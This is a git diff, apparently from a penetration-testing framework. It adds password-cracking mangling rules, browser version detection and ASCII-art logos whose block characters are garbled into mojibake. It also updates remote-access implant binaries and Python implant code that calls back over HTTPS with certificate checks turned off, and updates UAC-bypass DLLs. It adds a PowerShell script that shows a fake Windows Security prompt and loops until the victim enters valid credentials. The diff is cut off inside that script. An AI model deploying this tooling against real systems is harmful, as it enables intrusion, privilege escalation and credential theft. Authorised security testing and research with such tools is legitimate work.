\p1[:c] \p1[:Q] +-[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /7 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q] +# These are some popular triple/quad l33t rules +-[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] + +;[List.Rules:KoreLogicRulesReplaceSpecial2Special] +# Kore's rules were missing "*" +/! s![@#$%^&*()\-=_+\\|;:'",./?><] +/@ s@[!#$%^&*()\-=_+\\|;:'",./?><] +/# s#[!@$%^&*()\-=_+\\|;:'",./?><] +/$ s$[!@#%^&*()\-=_+\\|;:'",./?><] +/% s%[!@#$^&*()\-=_+\\|;:'",./?><] +/^ s^[!@#$%&*()\-=_+\\|;:'",./?><] +/& s&[!@#$%^*()\-=_+\\|;:'",./?><] +/( s([!@#$%^&*)\-=_+\\|;:'",./?><] +/) s([!@#$%^&*(\-=_+\\|;:'",./?><] +# Kore's ruleset erroneously had: +#/-s-- +/- s-[!@#$%^&*()=_+\\|;:'",./?><] +/= s=[!@#$%^&*()\-_+\\|;:'",./?><] +/_ s_[!@#$%^&*()\-=+\\|;:'",./?><] +/+ s+[!@#$%^&*()\-=_\\|;:'",./?><] +# Kore's rules did not replace backslash +/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><] +/| s|[!@#$%^&*()\-=_+\\;:'",./?><] +/; s;[!@#$%^&*()\-=_+\\|:'",./?><] +/: s:[!@#$%^&*()\-=_+\\|;'",./?><] +/' s'[!@#$%^&*()\-=_+\\|;:",./?><] +/" s"[!@#$%^&*()\-=_+\\|;:',./?><] +/, s,[!@#$%^&*()\-=_+\\|;:'"./?><] +/. s.[!@#$%^&*()\-=_+\\|;:'",/?><] +// s/[!@#$%^&*()\-=_+\\|;:'",.?><] +/> s>[!@#$%^&*()\-=_+\\|;:'",./?<] +/< s<[!@#$%^&*()\-=_+\\|;:'",./?>] + +;[List.Rules:KoreLogicRulesReplaceLetters] +/a sa[b-z] +/b sb[ac-z] +/c sc[abd-z] +/d sd[a-ce-z] +/e se[a-df-z] +/f sf[a-eg-z] +/g sg[a-fh-z] +/h sh[a-gi-z] +/i si[a-hj-z] +/j sj[a-ik-z] +/k sk[a-jl-z] +/l sl[a-km-z] +/m sm[a-ln-z] +/n sn[a-mo-z] +/o so[a-np-z] +/p sp[a-oq-z] +/q sq[a-pr-z] +/r sr[a-qs-z] +/s ss[a-rt-z] +/t st[a-su-z] +/u su[a-tv-z] +/v sv[a-uw-z] +/w sw[a-vx-z] +/x sx[a-wyz] +/y sy[a-xz] +# Kore's ruleset was truncated after "/zszr" +/z sz[a-y] +-c /[a-z] s\0[A-Z] + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesPrependNumNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9][!$@#%.]" +-[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependDaysWeek] +A0"[Mm][oO0][nN][dD][aA4@][yY]" +A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]" +A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]" +A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]" +A0"[Ff][rR][iI1!][dD][aA4@][yY]" +A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]" +A0"[Ss][uU][nN][dD][aA4@][yY]" + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3] +## Add Number Number Special +-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9] +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9] + +;[List.Rules:KoreLogicRulesAppend4Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers] +-[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial] +A0"[A-Z][A-Z]" <* $[!$@#%.] +A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesAppendSpecialLowerLower] +-[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+ + +# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4] +# Add 100! ... 999! to the end +-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecial3num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppend3NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials3Times] +-[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+ +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice] +-[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+ +-[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]" +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesAppend5Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendSpecial4num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend4NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+ +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppend6Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+ \ No newline at end of file diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 218ab89d63..58447e8b51 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -222,7 +222,13 @@ os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('copyWithin' in Array.prototype) { + if ('closest' in Element.prototype) { + ua_version = '35.0'; + } else if ('matches' in Element.prototype) { + ua_version = '34.0'; + } else if ('RadioNodeList' in window) { + ua_version = '33.0'; + } else if ('copyWithin' in Array.prototype) { ua_version = '32.0'; } else if ('fill' in Array.prototype) { ua_version = '31.0'; diff --git a/data/logos/pony-01.aftxt b/data/logos/pony-01.aftxt new file mode 100644 index 0000000000..829ff2ba07 --- /dev/null +++ b/data/logos/pony-01.aftxt @@ -0,0 +1,35 @@ + _________________________________________________  +< This console just got 20% cooler > + -------------------------------------------------  + / + /  + ▀▄▄▄▄▄▄▄▄ /  + ▀▀▄▄▄▄▄█▄▄▄▄ /  + â–„███â–„â–„â–„â–„██▄██ /  + â–„██▄█▄▄█▄▄██▄███ /  + ▄██▄█████â–„██▄▄█▄▄ /  +â–„â–ˆ██████▄██â–„▀▀â–„â–„██ /  +██████████▄▄▄ ██▄█ /  +██â–„â–ˆ██â–„██â–ˆ ▀▀ ████ /  +â–€███▄███▄▀ ███ /  + â–€ ████▄▀ █▄█ /  + ██▄▀█ â–„â–„â–„â–„â–„â–„â–„â–„ /  + ▀▄█ â–€ ▄▄█▄██████â–„â–„ /  + ▀█ ███▄████████â–ˆ /  + ▄███▄▄████████â–ˆ /  + ███████â–„██████â–„â–€ /  + â–ˆ████▄▄████████â–ˆ  + â–„â–„███â–„â–€ █▄██████â–ˆ â–„â–„â–„â–„â–„â–„â–„â–„â–„  + â–„â–„████â–ˆ ▄█▄██â–„████▄█▄█▄▄██â–„â–„██▄█▀  + ▀▄██â–„▀▄â–„â–„███▄▄███▄██▄▄███â–„â–„███â–„â–„â–„  + ▀▀ â–„â–ˆ████â–ˆ█████████â–„â–„â–„██â–„â–„███▀▄  + â–ˆ███▄█████â–ˆ███▄▄▄▄▄█▄▄▄▄▄██â–ˆ  + â–ˆ██â–ˆ███▄█████â–„â–„████â–„â–„██▄██▀▄██  + ▀▀▄▄██████▄██████â–„â–„â–„â–ˆ███▄▄ ▀▀▀  + ▄▄████â–ˆ█████▄▄█▄▄▄▄▄██â–„â–„â–„  + ██▄███â–ˆ█████â–„â–„â–„█████████â–ˆ  + ▀▀ █▄███â–ˆ ███▄█▄▄▄▄▄▄▄▀▀  + â–„â–„███â–ˆ â–ˆ███▄██  + ▀▄███â–ˆ ██▄███  + ▀▄▄▀ ██▀█▀▀  + â–ˆ  diff --git a/data/logos/pony-02.aftxt b/data/logos/pony-02.aftxt new file mode 100644 index 0000000000..3cc5a68e8b --- /dev/null +++ b/data/logos/pony-02.aftxt @@ -0,0 +1,31 @@ + __________________  +< Shells are cool. > + ------------------  + \  + \  + \  + \  + \ â–„â–„â–„â–„â–„â–„â–„â–„â–„  + â–ˆ█████████â–ˆ  + â–„â–„█████████â–ˆ  + â–„â–„███████████▄▄  + â–„â–ˆ██████████▄▄▄█▄▄  + â–„â–„██â–„â–„â–„â–„â–„â–„â–„â–„â–„â–ˆ██▄▄█▄▄  + â–„â–„████â–„â–„██████████████â–ˆ  + â–ˆ████â–ˆ██â–„â–„â–„â–„██████â–ˆ██â–„â–€  + â–ˆ██â–ˆ███▄███▄▄███â–ˆ███â–ˆ  +â–„â–„â–„██â–ˆ████▄█▄██â–ˆ███â–ˆ██â–„â–€ â–„â–„â–„â–„â–„â–„  + ▀▄▄███████â–„â–„â–„████â–ˆ██â–„â–€ â–„â–„██████▄▄█▀  + ▀▄▄▄██████â–„█████▄▀ â–„â–„███████████▄  + ▀▀▀▀▀▀█▄███â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„▀▀▀â–„██████â–„â–„ + â–ˆ██▄▄█▄██████████â–„â–„ â–ˆ████â–„â–„â–ˆ + ▄███▄█████████▄█▄██ â–„â–„â–ˆ██â–ˆ â–€ + ▀▀▄███████â–ˆ██â–„â–„â–„â–„â–€ ▀▀ ██▄▀  + █████▄▄▄▄█▄███â–„â–„ █▄▀  + █████â–ˆ ▀▄▄█████â–ˆ â–€  + â–„â–„â–„███â–ˆ â–ˆ██â–ˆ███â–ˆ  + ██████â–ˆ â–ˆ██â–ˆ████â–ˆ  + ▄█▄▄████â–ˆ â–ˆ██â–ˆ████â–ˆ  + █▄██████â–ˆ █▄▄██████â–ˆ  + █▄▄▄▄▄█ █▄▄▄▄▄█  +  diff --git a/data/logos/pony-03.aftxt b/data/logos/pony-03.aftxt new file mode 100644 index 0000000000..78a9d469d8 --- /dev/null +++ b/data/logos/pony-03.aftxt @@ -0,0 +1,27 @@ + ______________________________  +< I love SHELLS! > + ------------------------------  + \  + \  + \  + â–„â–„██▄█▄▄▄▄  + â–„â–„█████▄▄▄▄█▄▄  + â–„â–„â–„â–ˆ█████████▄▄▄▀  + ██▄▄█▄▄▄▄█▄▄█▄█  + ██▄▄▄████▄▄▄████  + ▄▄████â–„â–„â–„██▄█▄▄▀  + â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„ ██▄█▄▄██▄▄▄▄▄██â–„â–„â–ˆ + â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„ █▄▄▄██▄█████â–„â–„â–„▀▀  + ▄▄████â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„ ██▄▄▄▄███████▄▄▄  + â–ˆ████â–„â–„â–„â–„â–„▀▀▄▄▄▄▄▄██▄▄▄█▄███â–„â–ˆ▀▀▀  + ████▄█▄█ █▄██▄▄█▄▄▄██▄██â–ˆ  + ▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄██â–ˆ  + ▀▄██â–„â–„██â–„â–ˆ ██▄█▄██▄█▄▄████â–ˆ  + █▄█▄███â–„â–„â–ˆ â–ˆ███▄▄█▄▄▄██â–„â–ˆ  + â–„██ ███▄██â–„██â–ˆ ▄▄▄█▄▄▄█▀▀â–ˆ█████  + ▀▄▄█▄█▄▄█▄██▀▀▀ â–„â–„██▄▄██ â–ˆ█████  + ▀▄▄▀██▄▄▀▀▀ â–„â–„█████▄▀ â–„â–„█████  + ▀▀▀ â–„â–„███â–ˆ██â–ˆ â–ˆ██████  + â–„â–„███▄▄██ â–„â–„███â–ˆ██â–ˆ  + â–ˆ████â–ˆ▀▀▀ ▀▄███â–ˆ▀▀▀  + ▀▀▀▀▀▀ ▀▀▀  diff --git a/data/logos/pony-04.aftxt b/data/logos/pony-04.aftxt new file mode 100644 index 0000000000..0dc449ea8a --- /dev/null +++ b/data/logos/pony-04.aftxt @@ -0,0 +1,29 @@ + ____________________________________  +< My Little Pwny: Exploits are Magic > + ------------------------------------  + \  + \  + \  + â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„  + â–„â–„█████████â–„â–„â–„â–„â–„â–„â–„  + █▄▄▄████████▄▄▄▄███â–ˆ + █▄▄▄██▄█████â–„███â–ˆ███â–ˆ + ▄▄▄██████â–„â–„â–„â–„â–„â–„â–„â–„â–„██â–„â–€  + â–ˆ███â–„████â–„â–„â–„â–„â–„â–„██▄▄█▄▄  + â–ˆ████â–ˆ████████████â–ˆ██â–ˆ  + ▀▄███â–„███â–„██â–„â–„â–„â–ˆ██â–ˆ▀▀  + â–„â–„â–„â–„â–„â–„â–„â–„â–„ ▀▄██â–„â–„██▄▄█▄▄▄▄███▄  + â–„â–„█████████â–„â–„ ▀█▄██â–ˆ██▄█▄▄▄█▄██â–ˆ  + â–ˆ██████â–„▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀  + â–ˆ██████â–ˆ ▀▄▄▄▄▄███▄██▄▄▄██  + â–ˆ██████â–ˆ â–„â–„ â–„â–„█████â–„â–„â–„â–„█████â–ˆ  + â–ˆ███████▄▄██ â–ˆ██████████████â–„â–€  + ▀▄██████â–„â–„â–„â–€ ▀▄████â–ˆ███████â–„â–€  + â–„â–„â–ˆ███▄▄██ â–„â–ˆ██▄█▄▄▄▄██â–„██  + â–ˆ████████â–„â–€ â–ˆ████▄▄▀ â–ˆ█████  + â–ˆ██â–„██â–ˆ▀▀ â–ˆ██â–ˆ██â–ˆ â–ˆ██â–„â–„â–„â–„  + ▀▄▄▄▀ â–ˆ███â–ˆ██â–ˆ â–ˆ██████  + â–ˆ███â–ˆ██â–ˆ â–ˆ███▄▄██▄  + â–ˆ█████▄▄█ â–ˆ█████▄▄█  + █▄▄▄▄█ █▄▄▄▄█  +  diff --git a/data/logos/pony-05.aftxt b/data/logos/pony-05.aftxt new file mode 100644 index 0000000000..a49914f2ae --- /dev/null +++ b/data/logos/pony-05.aftxt @@ -0,0 +1,24 @@ + ______________________  +< FREE SHELLS FOREVER!!! > + ----------------------  + \  + \ â–„██â–„â–„â–„ â–„â–„â–„  + \ â–ˆ██▄▄█▄▄▄▄▄▄▄▄▄  + â–„â–„â–„â–ˆ██â–„â–„██▄██████▄▄  + ▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████  + â–ˆ███▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄  + â–ˆ██â–ˆ █▄██â–„â–„███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄  + ███ ████â–ˆ█████â–„██████ ██▄▄▄▄█▄▄▄██████  + ▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████  + ▀█ â–ˆ██â–„██████████▄▄███â–„██â–„â–„â–ˆ█████â–„â–„███████  + â–„â–€ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███â–„███▄▄██████▄▀  + â–€ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄  + █████▄▄█▄▄███â–„â–„â–„â–ˆ â–ˆ███â–„â–„███â–„â–„ + █▄▄█▄▄▄▄▄█▄██▄▄█ â–ˆ██▄█▄▄▄█▄██ + ▄▄▄█▄█████▄███â–ˆ ▀▄█████â–„â–„██â–€ + ▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄██â–ˆ â–„ + ▄▄██▄██▄▄▄▀█▄███▄██â–„â–€ ▄▄█▄█▄▄█ + █▄█████â–ˆ â–ˆ██â–„â–„███â–„â–€ ▀▄▄▄▄▀▀  + â–ˆ████â–ˆ ▀▀â–ˆ█████â–ˆ  + ▀▀▀▀▀▀ ▀▀▀▀▀▀  +  diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib deleted file mode 100644 index 7513cc3ae8..0000000000 Binary files a/data/meterpreter/common.lib and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index df8c93984e..e4b7a9a911 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 86ffa07965..6f1a3cfb58 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll deleted file mode 100755 index 3a36b5bf81..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll deleted file mode 100755 index b3d708ef96..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index b6a01cac09..ccefb121cf 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 33eb41e3aa..593caf386e 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 1bd02b02f8..2c7ee57559 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -59,6 +59,7 @@ if sys.version_info[0] < 3: is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' + unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) else: if isinstance(__builtins__, dict): is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) @@ -69,6 +70,7 @@ else: is_bytes = lambda obj: issubclass(obj.__class__, bytes) NULL_BYTE = bytes('\x00', 'UTF-8') long = int + unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) if has_ctypes: # @@ -530,7 +532,7 @@ def get_stat_buffer(path): if hasattr(si, 'st_blocks'): blocks = si.st_blocks st_buf = struct.pack('II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') else: value = tlv['value'] - if not is_bytes(value): + if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': + value = value.encode('UTF-8') + elif not is_bytes(value): value = bytes(value, 'UTF-8') if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE @@ -389,11 +393,17 @@ class PythonMeterpreter(object): print(msg) def driver_init_http(self): + opener_args = [] + scheme = HTTP_CONNECTION_URL.split(':', 1)[0] + if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): + import ssl + ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) + ssl_ctx.check_hostname=False + ssl_ctx.verify_mode=ssl.CERT_NONE + opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if HTTP_PROXY: - proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) - opener = urllib.build_opener(proxy_handler) - else: - opener = urllib.build_opener() + opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY})) + opener = urllib.build_opener(*opener_args) if HTTP_USER_AGENT: opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] urllib.install_opener(opener) @@ -479,7 +489,7 @@ class PythonMeterpreter(object): pkt_length -= 8 packet = bytes() while len(packet) < pkt_length: - packet += self.socket.recv(4096) + packet += self.socket.recv(pkt_length - len(packet)) return packet def send_packet_tcp(self, packet): diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 0fa89d022e..8ca96330f0 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index 079b16ce11..1790c4659c 100755 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index 6b42302e3d..76d7b87240 100755 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/data/post/powershell/Invoke-LoginPrompt.ps1 b/data/post/powershell/Invoke-LoginPrompt.ps1 new file mode 100644 index 0000000000..59a303c827 --- /dev/null +++ b/data/post/powershell/Invoke-LoginPrompt.ps1 @@ -0,0 +1,22 @@ +function Invoke-LoginPrompt{ +$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","") +$username = "$env:username" +$domain = "$env:userdomain" +$full = "$domain" + "\" + "$username" +$password = $cred.GetNetworkCredential().password +Add-Type -assemblyname System.DirectoryServices.AccountManagement +$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) +while($DS.ValidateCredentials("$full","$password") -ne $True){ + $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") + $username = "$env:username" + $domain = "$env:userdomain" + $full = "$domain" + "\" + "$username" + $password = $cred.GetNetworkCredential().password + Add-Type -assemblyname System.DirectoryServices.AccountManagement + $DS = New-Object 